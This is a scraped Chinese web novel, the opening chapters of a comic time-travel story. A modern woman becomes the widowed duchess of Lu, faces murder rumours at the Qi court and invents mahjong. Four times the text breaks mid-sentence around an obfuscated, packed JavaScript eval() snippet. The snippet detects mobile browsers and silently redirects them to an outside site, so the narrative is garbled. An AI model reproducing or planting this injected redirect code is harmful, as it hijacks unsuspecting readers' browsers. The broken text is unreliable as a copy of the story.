《夫人又在搞发明了——穿越春秋之寡妇当自强》 1. 第一章 狗血的穿越 “啊,疼、疼、疼,头疼!该死的张胖子,敢灌老娘酒,下次看我不叫勇子他们喝死你!” 江雅心里一阵狂躁,闭着眼揉了揉太阳穴,感觉还是头疼,翻了个身想要接着躺尸,却耐不住口干,终于还是坐了起来,准备下床喝点水,心里不禁骂道:“靠你个死张胖子,居然还带假酒来坑老娘!” 缓缓睁开眼,看见的却是一副极为素雅的床帘。 “呃,我记得昨天是回了大姐家,什么时候搞得装修?这谁给我换的衣服,什么牌子的,摸着怪舒服的。” “夫人!你终于醒啦!”一声清脆的萝莉声把江雅视线拉向不远处——古色古香的床边,站着一个俏丽的丫头。 “???”江雅满头问号,COSPLAY?贩卖人口?多年的职业素养,使得江雅瞬间警觉起来,她随口应道:“嗯,帮我倒杯水吧。” 小丫头却极为兴奋的朝门外跑去,边跑边喊:“臧大人,夫人醒啦,夫人醒啦!” 江雅望向门口,看到进来了两个男人,不禁拉紧了被子。 面色苍老的先开口道:“夫人既然醒了,就赶紧去尽礼吧。” 江雅又是满头问号,不禁问道:“敬礼?少先队礼么?要升旗出早操么?可以先吃点早餐再去么,肚子好饿啊。” 边上那面色白净的男人瞬间被点爆,脱口大骂道:“在守丧期间,却毫无悲伤之态,犯下滔天罪行,竟无半分愧疚之色,诗曰:人而无礼!胡不遄(chuán)死!说的就是夫人你吧!” 说罢,一甩袖子就走了。 面色苍老的人不禁叹了口气:“夫人,你被闪电击中,医正说你不死已是万幸,你先休息一下吧,外面的事情,就先由我去办吧。”说完就退了出去。 江雅被骂得莫名其妙,但是初来乍到,决定先搞清楚状况再说,边上这个小萝莉貌似很好骗的样子,就先拿她开刀吧。 “小妹妹,这里是哪里啊?” “夫人,此处是齐国的馆驿。” 江雅瞬间心里一沉。 虽然已经有了大概的准备,但“齐国”一称呼显然不是现代,看刚才这些人古色古香的打扮,用脚趾头想都知道自己穿越了,心里不禁骂起娘来。 但是,活下去是第一要务,于是接着问道:“那你知道我是谁么?” “您就是夫人呀!” 江雅满脑袋黑线,继续用大灰狼的语气问道:“刚才那老头不是说我被闪电击中了么,医正说会暂时有点失忆,你帮我回忆回忆,等我恢复正常,到时候给你记大功一件。” “哦,夫人您是我们鲁国国君的正妻,所以我叫你夫人呀。” 鲁国!听到关键信息,江雅内心的CPU瞬间高速运转起来:齐、鲁,齐鲁青未了?岱宗夫如何!也就是说这是山东咯。 地点确定了,还得明确时间,可除了唐宋元明清念顺了口,自己那点可怜的历史知识早就还给老师了,这“齐鲁青未了”还是语文书上杜甫他老人家教的,唉,书到用时方恨少啊,早知道读书那会就不看那么多霸道总裁爱上我了。 心里暗自惋惜的江雅决定先表示一下自己现代人的礼貌(套路),暂时给这小萝莉一点小甜头:“哦,真不错,你知道这么多,以后就跟着我吧,对了,你叫什么名字?” “夫人,我们洒扫杂役之人,又怎么配有名字呢。” 江雅不由得暗暗叹气:人家《还珠格格》里,小桌子小凳子,明月彩霞,至少还有个名字,这什么鬼年代,这么标致伶俐的小萝莉,就算是个丫鬟,至少还是要有个代号吧,难怪毛爷爷说旧社会的人没地位。 江雅决定发扬现代人道主义精神,给她一点人文主义关怀。 “看你什么都懂,就叫你小度吧。” “多谢夫人赐名。” “小度小度,刚才那个面色白净的男人是谁啊?” “那是士师大人。” “他是做什么的,怎么那么拽。” “展大人是掌管禁令、刑罚的。”小度瞟了瞟江雅,感觉江雅不像生气的样子,终于鼓起勇气,接着说:“展大人是个好人呢,只是性格太过于耿直,夫人你别见怪。” “哦,姓展么,莫非是展昭的先祖?”江雅坐直了身子,顿时来了兴趣。 “才没有呢,展大人姓姬!” “啊,那为什么叫展大人不叫姬大人?” “因为展大人是司空无骇之子,而无骇大人是公子展的孙子,所以被先君赐为展氏。” “这都什么乱七八糟的,那你怎么知道他是好人呢。” “我听臧夫子说,展大人有次冬天出差回来,住在城门外面,有个女子无家可归,展夫子怕她冻死,便叫她坐在怀里,还解开外衣把她裹紧,同坐了一夜,却并没发生非礼行为,实在是一名君子!” “咦!这不是柳下惠坐怀不乱的故事么,莫非他就是柳下惠?” “柳下惠?没听说过,倒是听过臧夫子私下里称展夫子为柳下季。” 那应该就是他了,可能传到后面传乱了,你说你们这些古人真的是有够闲的,所以他到底是姓姬还是姓柳?他爹不是姓展么?都什么乱七八糟的。 江雅晃了晃头,决定先弄清楚具体时间再说。 “小度小度,几点了?” “夫人,您说什么?” “啊,对不起!说习惯了,现在是哪一年了,或者是什么朝代?” “唔,先君过世很久了,就是现在的国君继位也有十八年了,小度也不知道具体是哪一年了。” “有什么类似万历呀,康熙呀的年号么?” “年号?那是什么?” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529925|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅有点不耐烦了,“那我们上一位国君怎么称呼?” “上一位国君隐公,是先君惠公的庶长子。” “隐公,隐公?”江雅心里一惊,高中《郑伯克段于鄢》不就是隐公元年?那现在是春秋时期的鲁国?唉,如果是清朝就好了,毕竟当初剧荒的时候重刷了好几遍《步步惊心》《孝庄秘史》,唉,可惜了可惜了。 这地点时代都确定了,江雅心里有了底,就没那么慌了,随口接着问:“刚才展夫子说什么居丧?谁去世了?” 小度似乎有点愤怒,又有点悲伤,转过背小声说到:“就是我们的国君。” 江雅正在努力回忆春秋时期发生了哪些大事可以利用得上,就随口接了句:“哦,死者为大,我确实应该要表现的伤心一点,你带我过……”江雅瞬间反应过来,杏眼圆睁,望着小度:“就是我的夫君?” 小度轻轻地点了点头。 江雅瞬间感觉心头似乎有一万头草泥马奔腾而过,忍不住就要爆粗口。 几个意思?合着老娘一穿过来就成寡妇了?老娘不就是偶尔蹦蹦迪、喝喝酒,也没干过啥坏事,怎么就成了克夫的扫把星了呢! 但是胳膊拧不过大腿,形势比人强,江雅一边也假装用袖子抹眼泪,一边接着问:“我夫君他,他是怎么死的?” 小度顿时转过身来,一副不敢置信的样子望着江雅。 江雅被她看的心里发毛,怯生生的问:“怎,怎么了?” 许是想起江雅被雷劈过,小度似乎恍然大悟,然后也怯生生的说:“小度不敢说。” 正所谓你强他就弱,你弱他就强,江雅一看小度怯生生的模样,倒是回了一点夫人的架势,坚定不移地吐出一个字:“说!” “外面都说,都说,都说是夫人你主谋,伙同情夫杀害国君的。” 江雅突然感觉似乎被施了定身法,愣在那一动不动。 谋杀亲夫?这不是潘金莲嘛!之前那个臧老头说我被雷击,莫非就是被天打雷劈了么!老天爷呀老天爷,你说你主持公道劈了这个谋杀亲夫的坏女人,我本来是举双手赞成的,可干嘛又把我扯上,这不是坑人么,你这个玩笑就开的有点大,我该不会被浸猪笼吧?我这刚穿过来,饭还没吃一口,就又准备急吼吼的把我送回去么?泥人尚有三分土气,老虎不发威,把我当病猫呢! 江雅猛地向前一步,双眼喷火,咬牙切齿道:“这个情夫是谁!” 小度似乎被吓到了,忍不住退了两步:“就是夫人你同父异母的亲哥哥,齐侯,吕诸儿!” 江雅陡然浑身无力,瘫倒在床边,眼泪情不自禁的流了出来:“老天爷呀老天爷,你怎么不去TVB当编剧呢!等下就是说李逍遥带赵灵儿过来找我玩,我都信了!妈妈呀,我再也不泡吧啦,我要回家!”说完两眼一抹黑,又晕了过去。 2. 第二章 灵堂风波 不管你愿不愿意,太阳总是照常升起。 小度一边服侍江雅穿衣洗漱,一边交代道:“夫人,夫人,臧夫子刚才过来催了几次了,要你赶紧去旁厅议事。” “知道了!”江雅一边不耐烦地回答,一边在心里偷偷的祈祷:亲爱的鲁国国君啊,冤有头债有主,你那坏老婆也挂啦,说不定已经去到二十一世纪享福去啦,你要报仇就去找那边找她吧。 唉,都说一日夫妻百日恩,冤冤相报何时了,二十一世纪多的是好女孩,你就别执着于报仇啦,没事蹦蹦迪,泡泡吧,就千万别再回来找我啦! 收拾完毕,小度就引着江雅来到旁边的主厅。 推开门,就看到满堂挂着白色的绸带,屋中间摆着一副棺材,左边空着一张草席,臧达和展禽胸前披着麻布跪坐在右边,江雅不由得脚步一顿。 小度看见臧达指了指前面,便连忙用手扯了下江雅的袖子,指了指棺材左边的席子。江雅反应过来,连忙走过去学着他们的样子跪坐下去。 猛然跟这么一副棺材挨这么近,江雅不禁想起了小时候跟大姐一起躲在被子里看的国产僵尸片,童年阴影瞬间涌了上来,心里忍不住有点发毛,连忙又小声念叨:“南无阿弥陀佛,唵嘛呢叭咪吽,太上老君急急如律令,哈利路亚,阿门……” 臧达看着江雅神神叨叨的样子,忍不住叫了声:“夫人。” 江雅连忙又抬起头望向臧达,却看见边上的展禽也正严肃地盯着她,江雅不由得冲展禽讪讪一笑,哪知惹得展禽越发地生气,眼看就要起身发飙,却被臧达扯住。 江雅这才反应过来,在外人眼中,自己可是谋杀亲夫的主凶,亏得自己对着死去的夫君还能笑得出来,不说他们,自己都想把这个坏女人给千刀万剐了。 想到这里,江雅不由得也哭丧着脸。展禽这才稍见满意,把脸转向一边。 这时,门外高唱一句:齐侯到! 众人瞬间齐刷刷望向门口,只见一位身材颇为魁梧的男子走了进来,头戴黑色的帽子,上面绣着金色的花纹,帽子顶着一块横檐,前面垂下来几束珠子,微微遮住了眼睛鼻子,脸上隐约露出来的轮廓颇有几分像金城武,紫色的长袍凸显着主人的华贵,腰间佩着的一块玉更显得风度翩翩。 江雅眼睛发光,一句“老公”忍不住就要脱口而出,却见展禽一跃而起,冲到那人跟前,怒气冲冲的说:“寡君在贵国境内不幸罹难,尸骨未寒。先王之礼,丧不佩玉,如今君侯却公然佩玉前来,分明是藐视我鲁国,展禽虽然不才,却也能血溅五步,以正先人之教!” 来人一怔,连忙解下腰间佩玉,丢给后面的侍从。 局面如此明朗,江雅怎会不懂,想着就是这个人害得自己莫名地背上□□的恶名,不由得鼻子一酸; 想着就是这个人害得自己莫名地背上谋杀亲夫的骂名,眼泪更是忍不住地往下流; 想着就是这个人害得自己莫名地来到这个时代,害得自己再也见不到大姐,再也见不到爸妈,再也蹦不了迪,再也泡不了吧,江雅不由得嚎啕大哭起来。 小度看到江雅哭得凶,也忍不住跟着放声痛哭,臧达见到此景也不由得眼泪横流。 看到江雅哭得这么伤心,展禽不由得心中一软,回过身来看着江雅。 齐侯却一步冲向前,关切地问道:“好妹妹,别伤心了。” 江雅按捺不住心头怒火,一把推开他,厉声骂道:“谁是你好妹妹,你以为你是贾宝玉呢!” 齐侯有点尴尬:“我是你大哥呀!” 江雅平复心情,缓缓起身说道:“亡夫灵前,还请君侯放尊重点!” 齐侯这才朝棺材拜了一下,回道:“都怪寡人没有德行,使得上天降下祸害,连累鲁侯因为意外而身亡,寡人万分悲痛,特地过来吊唁,不知夫人还有什么需要寡人帮忙的?” 臧达朝齐侯拜了一下,说道:“承蒙君侯记挂,因夫人身体抱恙,所以在贵境叨扰多日,现在夫人既然已经无恙,我们打算尽早回国安葬寡君。至于君上的恩德,我们鲁国铭记在心,并不敢忘,来日必有所报!” 江雅不知道哪根筋不对,瞬间想起了小时候看的砵兰街十三妹。小弟受了欺负,当老大的尚且不能善罢甘休,这鲁国扛把子挂了怎么能就这么算了,更何况还是自己的便宜老公,就算是潘金莲害武大郎,那也是……呸呸呸! 如果真有证据证明是自己亲自动的手,以展禽那耿直的性格,估计早就跟武松一样把自己给剁了。自己要是不把这锅洗干净了,就算是躲得过初一,也躲不过十五,看来现在就算是为了自己,也要向齐侯讨个说法了。 但现在这王牌对王牌,肯定也不能真像那些街头混混直接火并吧。 江雅乌溜溜的眼珠子转了转,顿时有了主意。 只见她也学着臧达向齐侯拜了一下,然后说道:“我夫君鲁侯为了两国的情谊,不远千里来到贵国进行友好访问,如果真有哪里做得不对,君上大可以在会上公开地交流沟通。” “现在我们国君在贵国宫室里死得不明不白,如果没有一个交代,就这么算了,恐怕别的国家会因此而瞧不起我们鲁国。正所谓事君如事父,杀父之仇不共戴天,我鲁国受此奇耻大辱,就算是朝廷上的大夫们肯罢休,只怕我军中将士们誓死也要来讨一个公道!” “我一个声名狼藉的未亡人,反正活着也是受罪,不如就让大夫们在朝堂之上拿我祭旗,以激励我鲁国将士!事情如何发展,全在君侯一念之间,还请君侯三思!” 所有在场的人都被江雅这番刚烈而又义正词严的演说给镇住了,齐侯更是胸膛剧烈起伏,脸上阴晴不定,显然内心正在做剧烈的挣扎。良久,他朝外面招了招手,一个衣着华丽的男子被带了过来。 齐侯指了指那人,说道:“因寡人管教无方,寡弟公子彭生与鲁侯喝酒时发生口角,彭生酒醉之下,一时错手杀了鲁侯。为了保持我们两国之间的友好往来,寡人不敢包庇凶手,现特将寡弟公子彭生处死,以正视听!” 公子彭生显然没想到会有这出,连忙扑到在地,抱着齐侯的大腿说:“大哥,大哥!我可是你弟弟呀!父亲去世前要你好生照顾我,你忘了吗!”又过来扯江雅的裙摆“姐!姐!你们就这么狠心吗! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529926|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江雅被吓到了,忍不住后退了一步。 齐侯不想节外生枝,朝旁边的卫士怒了努嘴。卫士们上前拉住公子彭生的手就往门外拖去。 公子彭生一边挣扎,一边凄厉地喊道:“大哥,大哥!是你让我动手的啊!你不能这样!” 齐侯脸色大变,喝道:“赶紧拖下去!” 公子彭生越发凄厉的喊声从门外传来:“姜诸儿!姜雅!你们这对狗男女!我做鬼也不会放过你们!!!” 不一会,卫士用个盘子盛着一个血淋淋的脑袋回来复命:“报告君上,已将公子彭生斩首!” 江雅一个现代人,哪里见过这等血腥的场面,吓得赶紧躲到臧达的身后。 齐侯面色难看,拱了拱手道:“寡人身体抱恙,先行告退,诸位有何需求,尽管跟侍从提。”说罢就走了出去。 展禽突然朝江雅郑重一拜:“展禽愚钝,竟然相信世间流言,错以为夫人有弑夫之行,还请夫人见谅!然而适见齐侯戮弟之举,未免太过迅速,似早有准备用公子彭生做替罪羔羊,以掩人耳目。此地不宜久留,夫人,臧夫子,我们立即启程回国吧!” 臧达点点头,朝江雅说道:“展禽所言极是,不过以展禽的聪明以及品性,尚且对夫人持有怀疑,国内鱼龙混杂,且太子幼弱,公子挥桀骜不驯,夫人如若贸然回国,只怕会有小人以报仇为名,对夫人以及太子不利。不如由我送君上的灵柩回国,展禽你陪夫人稍候,等我消息。” 江雅不由叹道:“难道我还要在齐国呆着么,不知道外面又会传出什么风言风语来。” 臧达劝道:“夫人不必过虑,清者自清,国内自有我照应。如果夫人不想呆在这是非之地,不如就去齐国与我国边境之处的馆驿,以便接到消息后能尽快回国。” 江雅点点头:“好吧,有劳臧夫子了。” 车辚辚,马萧萧,经过五天的路程,江雅一行人终于来到了齐国的边境。 臧达缓缓走下马车,朝江雅拱手行礼道:“夫人,前面就快到我国边境了,不知道国内是否下达了捉拿夫人的命令,你就送到这吧。”说完,又转向展禽交代道:“展禽,夫人就暂时由你守护了,君上骤薨,而太子幼弱,公子挥的势力雄厚你是知道的。不管怎么说,有夫人在,齐国至少表面上是要支持太子的,因此公子挥很有可能派贼人前来行刺,你可千万要小心!” 展禽用力拱手回礼:“诺!” 臧达又朝江雅行了个礼,就转身上了马车。 马车远去,一丝西风扫来几缕尘土,盖住了马车的辙印,如血的残阳照在江雅脸上,一股悲凉之情油然而生。在这陌生的年代,陌生的地点,好不容易有个慈祥的长者像以前的爷爷一样关心自己,却马上又要分别。脱离了都市的喧嚣,江雅此刻才深刻的体会到“回头万里,故人长绝”的悲苦,一向自诩没心没肺的江雅不禁低头潸然泪下。 许时感受到了江雅的伤感,小度上前握住了她的手掌。江雅感觉手心一暖,不由得抬起头来,正好迎上前方展禽那赞许而鼓励的眼光。江雅拭去眼泪,轻声说道:“走吧。” 3. 第三章 齐国边境 “太!无!聊!啦!” 臧夫子离开的第二天,神经大条的江雅就从悲伤中走了出来,接下来的几天,又把馆驿附近的山山水水逛了个遍。未经工业污染的山林湖泊,山清水秀已不足以形容它的清新自然。 可惜,江雅是个俗人,没有手机拍照到朋友圈和小红书,这一切都失去了意义,无所事事的她,闷得恨不能自挂东南枝,以试试能不能再穿越回去。 常言道,活人总不能让尿给憋死,永远不要小觑任何一个无聊人士的智慧与决心。 臧达离开的第六天。 一大早,展禽就看见江雅跟小度两个人在大堂的桌子上鼓捣什么,走过去一看,却原来是江雅在教小度削木头。 展禽还是规矩地行了个礼叫了声:“夫人,早安!” 江雅却是兴奋道:“展大人你来的正好!小度手脚太笨,快来帮我做个东西!” 展禽正色,拱手一拜:“先人之礼,居丧期内,早间晚间都要哭泣尽哀,夫人不哭已经是非礼,现在还面露笑容,是不是有点太过分了!” 江雅连忙低头认错,乌溜溜的眼睛却一直在转个不停,起身回礼道:“展夫子教训的是,只是昨天晚上梦见夫君教给我一套物事,说以此可以振兴鲁国。我想趁着还没忘记,就赶紧将它做出来,以免辜负夫君的嘱托。小度手脚笨拙,还请展大人予以协助,切莫耽误夫君的大事。” 展禽连忙应承道:“斧斤之术,展禽并不擅长,要么我给夫人找一位匠人吧。” 江雅忙不迭点头:“有道理,专业的事情要交给专业的人,快去快回!” 不一会,展禽就领了位身材高瘦的老头回来:“夫人,这是丰督,我问了侍卫,附近就属他的手艺最好。” 看得出来,江雅很是高兴。俗话说嘴上无毛,办事不牢,这个老头子看着颤颤巍巍的,手艺应该没得说,这回总要结束这无聊透顶的日子了。 江雅连忙交代了自己的设想,手舞足蹈、连比带画;丰督却听得似懂非懂,眉头紧锁。一上午的时间,总算鼓捣出了一个成品来。 展禽小度上前一看,只见这小木块宽约一寸,长约一寸半,中间刻着一个圆环,圆环中间还刻着一圈箭头一样的符号。 展禽他们看的莫名奇妙,江雅却捏着这个小木块不住摩挲,饱含泪水,恍如隔世。 是了,是了!这美妙的花纹,独特的手感,皇天不负有心人啊! 江雅不由得顺手一板,霸气一喝:“自摸!一筒!” 有道是莫装逼,装逼遭雷劈。江雅兴奋之下用力过猛,不小心一下子就把木块拍烂了,纤纤小指上还扎了根木刺,殷红的鲜血更衬的指若削葱。 小度赶忙过来给江雅止血,丰督惴惴不安的说:“夫人恕罪,这木块太薄了而且还没来得及打磨……” 江雅却兴奋地打断他道:“不要紧,不要紧!就照刚才那尺寸,这个给我再做四个!还有其他我跟你说的花色,每样做四个!” 正所谓万事开头难,有了成功的经验,再加上专业的技术,终于,一副木制的麻将及配套的桌椅被成功地打造了出来。 打铁趁热,趁着丰督在,江雅拉着一头雾水的众人分头坐定,准备先来一圈,边打边告诉他们规则,所谓“在战争中学习战争”,江雅不由得在心里给自己点了个赞。 众人显然不蠢,三圈过后就都熟悉了规则,不由得都来了兴致。江雅却大手一挥道:“玩这个必须得分个输赢才行。” 小度小声道:“夫人,我没钱。” 展禽正义凛然:“君子喻于义,小人喻于利。” 江雅乌溜溜的眼睛转了两下,道:“也行,那我们不打钱,输了的钻桌子。” 丰督忙不迭的摆手道:“哎哟,夫人,我这把老骨头可禁不起折腾。” 江雅不耐烦的道:“没事,你输了让小度代你钻!” 小度显然就是展禽说的“小人”,笑嘻嘻的脸上仿佛写了三个字:无所谓。 战局一触即发,展禽很快就掌握了麻将边出牌边闲聊的精髓,利用出牌的空挡,当起了好奇宝宝:“夫人,这麻将为何只有三个花色?三万!” “嗨!就是代表着天,地,人的意思。七条!”江雅一门心思惦记着要胡的绝张,随口瞎掰。 “哦!此话怎讲?九万!”展禽显然很有探索精神。 “你看这圆圆的一筒,是不是像‘天圆地方’里圆圆的天呀?一筒!”江雅接着瞎编。 展禽恍然大悟:“哦!夫人大才,展禽不及也!但这‘地方’的地,是指何物?八万!” “就是条子咯!前后没有终点,代表着延伸无尽的大地。七条!”江雅有点烦,这七条紧打不退。 “那这’万’字为何又能代表人呢?一万!” 江雅陡然惊醒,“因为…因为…”支支吾吾间随手丢了个八筒。 “哈哈,胡了!清一色单调八筒!多谢夫人!”展禽满脸大喜。 江雅气急,本来桌上没出八筒,自己准备换牌的,被展禽一问,就给忘了,结果还放了这个鬼的大番子,气死人! 江雅恨恨地站起来,突然想起前世跟大姐表哥他们玩牌的情景,不禁又莞尔一笑,躬身准备钻桌子。 展禽连忙站起来拦道:“夫人身份尊贵,而且教给展禽如此深奥的学问,乃是我的老师,怎敢叫您作此不雅之事。” 江雅一顿,“展大人谬赞,若非夫君托梦所授,江雅又怎会懂得如此深奥的物事。而且总不能让人说我以大欺小,小度!” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529927|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度不情愿的站起来,钻了一下。 战局重开,展禽显然还在想刚才的问题,接着问道:“夫人,我知道了!这个万字,是不是指的‘万舞’,所谓‘简兮简兮,方将万舞’,所以能代表行‘万舞’的人!” 江雅不由得虚擦了把汗,微微一笑道:“孺子可教也!”心里狂呼庆幸,还好之前为了省事,没把“东西南北中发白”全做出来,不然真的会被这个好奇宝宝害死去。 “由此可推,每色九种牌,代表着数之极,<易>之阳;每种牌四张,又代表着<易>之四象,合起来一百零八张牌又暗合天罡地煞之数,这看似平平无奇的博戏,竟含天地之理,阴阳之变!实乃包罗万象,博大精深!夫人之才,展禽佩服!” 江雅满脑黑线,这神神叨叨的展禽,竟然比自己还能扯,不去当神棍可惜了,连忙抓个牌,岔开话题道:“对了小度,你之前不是说齐侯叫吕诸儿么,怎么公子彭生又叫他姜诸儿?六万!” “因为齐国始封君是太公望,吕氏姜姓,所谓‘姓者,统其祖考之所自出’,公子彭生如此称呼,是想点明齐侯不顾祖考,残灭同姓,以加重齐侯的罪过,夫人如此高才,怎会不知?八筒!”展禽显然没想到江雅会问这么白痴的问题,难道夫人借此考我?这未免也太小瞧我展禽了吧! “哦!原来是姜太公的后代,那这么说我也…”江雅连忙住嘴,心想:老爸老妈呀,不是女儿不孝非要改名换姓,这还好都叫jiang雅,不算偏的太离谱,我现在自身难保,你们就将就将就,睁只眼闭只眼吧。 江雅显然看出了展禽他们略带疑惑的鄙视,赶忙抓了个牌回来又顺手指了指脑袋:“五万!” “胡啦!”小度兴奋的跳了起来“我终于胡牌啦!” 江雅暗恨,这真活见鬼了,前世的时候就知道,不会打牌的人手气好,没想到到了这边还是这样! 小度很快反应过来自己是接的江雅的炮,眼瞅得江雅越来越黑的脸,连忙说道:“天色也不早了,夫人你也该休息了。” 江雅暗赞,算你识相,点头接道:“也好,督翁,那今天就麻烦你了。” 众人散场,江雅突然想起,如果丰督不来,不就三缺一了嘛,连忙叫道:“督翁,明天记得早点来,我们继续把这套麻将打磨打磨!” 丰督转身回礼,以示收到。 夜幕降临,又是‘充实’的一天。 4. 第四章 回国路上 时间是个很奇怪的东西,当你百无聊赖、倍感煎熬的时候,真个是一日三秋,度日如年;当你孜孜不倦、乐在其中的时候,又感觉光阴似箭,岁月如梭。 不知不觉,一个月就过去了,一辆载着信使的马车,打破了江雅“充实”而又宁静的生活。 “夫人,臧夫子来信,说国内暂时稳妥了,请你回国议事。” 江雅右手一顿,然后把面前的麻将推倒:“知道了!我说今天怎么手气这么好,自摸,清一色!” 小度他们沾满墨痕的脸上不由露出惊恐之色,只见江雅从边上的盆子里拿起一根竹枝,竹枝前端绑着沾有墨汁的布条,轻轻地挥了挥手,在他们每人脸上又画了三道黑色的云彩,然后拍拍手,得意地说:“来的正好,也没地方画了,收工,准备出发!” 齐国馆驿毕竟还是太小了,就算有人陪着玩麻将,对于刷手机成习惯的江雅来说,还是无聊地很,虽然她已绞劲脑汁想了很多整人的点子:喝水、刮鼻子、用墨汁画杠杠,但终究没人敢真正地惩罚她这个夫人。无所谓输赢,那玩得还有什么意思,江雅只是单纯喜欢那刺激的感觉以及和朋友吆五喝六的气氛,毕竟也是自己原来时代的感情寄托。 “展大人,帮我给齐侯写封信,就说丰督我带走了,谅他应该也没什么意见。” 江雅说完才想起应该先问问丰督自己的意见,又不好意思地问道:“督翁,你愿意跟我去鲁国么?” 丰督面泛难色。 展禽知道江雅又犯浑了,小声提醒道:“夫人,除非被国君驱逐,或者战败被俘,良人一般不会轻易出国的。” “咦!我看这官道上络绎不绝,不是还有商人么?” 展禽继续耐着性子解释:“当初我先君武王伐纣,灭商立周,封土建国,以成功业。诗曰:普天之下,莫非王土。而商人乃是前朝殷商遗民,部分失去封地的商民迫于生计只能从事贸易,所以才叫‘商人’。良人,尤其是督翁这种有技术的官工由国家供给廪食,其职务身份世代相袭,是不屑于做‘商人’的。” 江雅这才恍然大悟,连忙向丰督道歉。 丰督一面感激地向展禽致谢,一面向江雅解释道:“以鲁国疆域之广大,人才之众,技艺超群的匠人,想必是车载斗量,夫人不必多虑。这段日子承蒙夫人悉心教诲,老朽身无长物,今天这副麻将是老朽前几天连夜精心打磨出来的,夫人可带回鲁国以作样本,聊表心意!” 江雅点点头,郑重地接过:“多谢督翁!” 赶路的日子更加无聊。 马车减震效果不好,跑快了颠得慌,走慢了又更感觉遥遥无期。幸好车厢空间也还算宽敞,时不时还有点清风吹进来,江雅突然怀念起以前上大学时挤绿皮车的情景,不由得小声嘀咕道:“瓜子花生八宝粥,啤酒饮料矿泉水,脚抬一下。” 小度不解,连忙抬了一下脚。江雅见状,不由得哈哈大笑。 小度越发不解:“夫人何故发笑?” 这下,江雅不由得揉着肚子笑出了眼泪,一边笑一边摆手,好半天才喘过气来。 “没什么,没什么,只是想起了一个名场面而已。” 小度还是不解,心想:自从夫人被闪电击中,言辞怪异、举止乖张,好似得了失心疯,如今君上意外去世,太子又小,我们鲁国何时才能安定呀!然后缓缓叹了口气,摇了摇头。 江雅看小度暗自叹气,以为她又想起了什么伤心事,连忙又找话题聊天:“小度小度,之前臧夫子说太子幼弱,似乎忧心忡忡,这是为什么呢?难道太子娘亲不支持他?或者他娘亲实力不行?” 小度更加担心了:“夫人,别说臧夫子忧心忡忡,现在就连小度也忧心忡忡了。” 这下换成江雅不解了,“为什么呀?” 展禽忍不住答道:“我们鲁国是周公之后,遵循的自然是周公之礼。正所谓周之最亲莫如鲁,而鲁所宜翼戴者莫如周。宗法:立嫡以长不以贤,立子以贵不以长。夫人之所以叫夫人,就因为您是国君的正妻;太子之所以是太子,就因为他是您的嫡长子呀!” 江雅一愣,好嘛!老娘好好的一个黄花大闺女,穿过来连小鲜肉的手都没拉过,这老公白给、儿子白捡,我清白的名誉还要不要了……不对!我怎么还有闲心管这事,现在不是追剧泡吧的时候了,既然我已经成了女猪脚,就要好好地活出个人样,干出一番事业来,可不能给广大穿越人士丢脸! 江雅心里暗暗打气,一拍车厢,对小度喝道:“三分钟内,我要太子的全部资料!” 小度还是不解地望着江雅,“夫人说什么?” 展禽答道:“太子名同,君上继位后的三年九月丁卯日生,因为是与君上同一天出生,所以被命名为‘同’,屈指一算,已经十五岁了。” 小度这才反应过来,一副恨铁不成钢的样子望着江雅。 江雅不禁低下头,心里默念:连自己亲儿子的生日都忘了,难怪小度要忧心忡忡了。不过这展老师都敲黑板了,后面肯定是要考的!得用心背下来才是。十五岁的小孩子,在自己前世的时候,差不多是上初中的年纪,这么说来,快到青春叛逆期了? 江雅心里不由得暗暗叫苦,我一个黄花大闺女,哪来的什么育儿经验,更何况还要顶着个“潘金莲”的帽子回去,设身处地地想,自己也绝不会原谅这种不要脸,还害死自己老爸的人。唉,别人一穿越来都是系统、金手指满天飞,开局就是巅峰,我怎么就偏生选了个地狱级难度的剧本,开局就让人发疯,真的是作孽哟!唉! 牢骚要发,事情要做,江雅还是决定多打探点情报,毕竟自己对国内的局势一无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529928|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 